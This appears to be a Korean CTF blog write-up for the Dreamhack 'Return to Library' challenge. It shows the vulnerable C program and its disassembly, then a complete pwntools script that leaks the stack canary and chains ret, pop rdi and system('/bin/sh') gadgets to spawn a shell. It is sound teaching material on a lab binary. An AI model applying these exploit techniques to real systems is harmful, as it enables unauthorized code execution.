Return to Library 문제 풀이
1. 취약점 확인
1. C 언어
checksec 명령어로 취약점을 확인해보자
[*] '/home/gunp4ng/pwnable/Dreamhack/rtl/rtl'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x400000)
x64 아키텍처에 Partial RELRO, Nx-bit, Stack Canary 가 적용된 것을 알 수 있다.
C 코드를 확인해보자
// Name: rtl.c
// Compile: gcc -o rtl rtl.c -fno-PIE -no-pie
#include <stdio.h>
#include <unistd.h>
const char* binsh = "/bin/sh";
int main() {
char buf[0x30];
setvbuf(stdin, 0, _IONBF, 0);
setvbuf(stdout, 0, _IONBF, 0);
// Add system function to plt's entry
system("echo 'system@plt");
// Leak canary
printf("[1] Leak Canary\n");
printf("Buf: ");
read(0, buf, 0x100);
printf("Buf: %s\n", buf);
// Overwrite return address
printf("[2] Overwrite return address\n");
printf("Buf: ");
read(0, buf, 0x100);
return 0;
}
"/bin/sh" 이 코드에 있기 때문에 code 영역에 "/bin/sh" 이 추가된다.
system 함수를 PLT 에 추가하는 코드가 있다.
buf 의 크기는 0x30 이지만 read 함수로 0x100 만큼을 입력받기 때문에 BOF 가 발생한다.
2. 어셈블리
main 함수의 어셈블리를 확인해보자
Dump of assembler code for function main:
0x00000000004006f7 <+0>: push rbp
0x00000000004006f8 <+1>: mov rbp,rsp
0x00000000004006fb <+4>: sub rsp,0x40
0x00000000004006ff <+8>: mov rax,QWORD PTR fs:0x28
0x0000000000400708 <+17>: mov QWORD PTR [rbp-0x8],rax
0x000000000040070c <+21>: xor eax,eax
0x000000000040070e <+23>: mov rax,QWORD PTR [rip+0x20095b] # 0x601070 <stdin@@GLIBC_2.2.5>
0x0000000000400715 <+30>: mov ecx,0x0
0x000000000040071a <+35>: mov edx,0x2
0x000000000040071f <+40>: mov esi,0x0
0x0000000000400724 <+45>: mov rdi,rax
0x0000000000400727 <+48>: call 0x400600 <setvbuf@plt>
0x000000000040072c <+53>: mov rax,QWORD PTR [rip+0x20092d] # 0x601060 <stdout@@GLIBC_2.2.5>
0x0000000000400733 <+60>: mov ecx,0x0
0x0000000000400738 <+65>: mov edx,0x2
0x000000000040073d <+70>: mov esi,0x0
0x0000000000400742 <+75>: mov rdi,rax
0x0000000000400745 <+78>: call 0x400600 <setvbuf@plt>
0x000000000040074a <+83>: mov edi,0x40087c
0x000000000040074f <+88>: mov eax,0x0
0x0000000000400754 <+93>: call 0x4005d0 <system@plt>
0x0000000000400759 <+98>: mov edi,0x40088d
0x000000000040075e <+103>: call 0x4005b0 <puts@plt>
0x0000000000400763 <+108>: mov edi,0x40089d
0x0000000000400768 <+113>: mov eax,0x0
0x000000000040076d <+118>: call 0x4005e0 <printf@plt>
0x0000000000400772 <+123>: lea rax,[rbp-0x40]
0x0000000000400776 <+127>: mov edx,0x100
0x000000000040077b <+132>: mov rsi,rax
0x000000000040077e <+135>: mov edi,0x0
0x0000000000400783 <+140>: call 0x4005f0 <read@plt>
0x0000000000400788 <+145>: lea rax,[rbp-0x40]
0x000000000040078c <+149>: mov rsi,rax
0x000000000040078f <+152>: mov edi,0x4008a3
0x0000000000400794 <+157>: mov eax,0x0
0x0000000000400799 <+162>: call 0x4005e0 <printf@plt>
0x000000000040079e <+167>: mov edi,0x4008ac
0x00000000004007a3 <+172>: call 0x4005b0 <puts@plt>
0x00000000004007a8 <+177>: mov edi,0x40089d
0x00000000004007ad <+182>: mov eax,0x0
0x00000000004007b2 <+187>: call 0x4005e0 <printf@plt>
0x00000000004007b7 <+192>: lea rax,[rbp-0x40]
0x00000000004007bb <+196>: mov edx,0x100
0x00000000004007c0 <+201>: mov rsi,rax
0x00000000004007c3 <+204>: mov edi,0x0
0x00000000004007c8 <+209>: call 0x4005f0 <read@plt>
0x00000000004007cd <+214>: mov eax,0x0
0x00000000004007d2 <+219>: mov rcx,QWORD PTR [rbp-0x8]
0x00000000004007d6 <+223>: xor rcx,QWORD PTR fs:0x28
0x00000000004007df <+232>: je 0x4007e6 <main+239>
0x00000000004007e1 <+234>: call 0x4005c0 <__stack_chk_fail@plt>
0x00000000004007e6 <+239>: leave
0x00000000004007e7 <+240>: ret
End of assembler dump.
- buf : rbp-0x40
buf 의 크기는 0x40 이다.
하지만 카나리가 포함된 크기이기 때문에 실제 buf 의 크기는 카나리를 제외한 0x38 이다.
system 함수의 주소는 0x4005d0 이다.
pop rdi 가젯의 주소는 0x400853 이다.
main 함수에 break 걸고 search 명령어로 "/bin/sh" 의 주소를 구할 수 있다.
"/bin/sh" 의 주소는 0x400874 이다.
2. 익스플로잇 구성
1. 스택 프레임 구조
0x40 은 카나리를 포함한 값이므로 8bytes 를 뺀 0x38 이 실제 buf 크기이다.
첫 번째 read 함수로 카나리를 leak 한다.
두 번째 read 함수에서 SFP 까지 덮어씌운다.
RET 에 pop rdi 가젯을 넣고, 그 다음 "/bin/sh" 문자열, system 함수 주소를 넣으면
system("/bin/sh") 이 호출될 것이다.
익스플로잇 된 스택 상태는 위와 같다.
2. 카나리 릭
첫 번째 read 부분에서 buf 와 canary 의 첫번째 NULL byte 를 덮어씌운다.
buf 는 0x38 이기 때문에 0x39 만큼 입력하면 카나리값이 출력된다.
python 의 pwntools 로 코드를 작성한 뒤 카나리를 출력해보자
from pwn import *
context.log_level = 'debug'
context(arch='amd64', os='linux')
p = remote('host3.dreamhack.games', 20587)
# canary leak
p.recvline('Buf: ')
dummy = b'A' * 0x39
print(dummy)
p.send(dummy)
p.recvuntil(dummy)
canary_leak = b'\x00' + p.recvn(7)
canary = u64(canary_leak)
print('canray : {}'.format(hex(canary)))
카나리 값이 잘 출력된 것을 확인할 수 있다.
3. 페이로드 구성
buf + canry + SFP 까지 dummy 값으로 덮어씌운다.
RET 에 pop rdi 가젯을 넣고, "/bin/sh" 의 주소도 넣는다
마지막으로 system 을 넣으면 system("/bin/sh") 이 호출될 것이다.
pop rdi 가젯을 넣기 전 스택을 정렬해주기 위해 ret 가젯을 추가한다.
ret 가젯의 주소는 0x400596 이다.
ret 가젯까지 추가한 스택 상태는 아래와 같다
python 으로 pwntools 코드를 작성한다.
from pwn import *
context.log_level = 'debug'
context(arch='amd64', os='linux')
#p = process('./rtl')
p = remote('host3.dreamhack.games', 10346)
# canary leak
p.recvline('Buf: ')
dummy = b'A' * 0x39
print(dummy)
p.send(dummy)
p.recvuntil(dummy)
canary_leak = b'\x00' + p.recvn(7)
canary = u64(canary_leak)
print('canray : {}'.format(hex(canary)))
ret = 0x400596
pop_rdi = 0x400853
binsh = 0x400874
system = 0x4005d0
# payload
payload = b'A' * 0x38
payload += p64(canary)
payload += b'A' * 0x8
payload += p64(ret)
payload += p64(pop_rdi)
payload += p64(binsh)
payload += p64(system)
### pause ###
# pause()
p.recvuntil('Buf: ')
p.send(payload)
p.interactive()
코드를 실행하면 플래그를 획득할 수 있다.
'War Game > Pwnable' 카테고리의 다른 글
[Security First] Maze 문제 풀이 (0) | 2024.08.01 |
---|---|
[Security First] maze_x86 문제풀이 (0) | 2024.07.29 |
[sschall] baby got overwrite (0) | 2024.07.01 |
[Dreamhack] ssp_001 (0) | 2024.05.05 |
[Dreamhack] Return to Shellcode (0) | 2024.05.04 |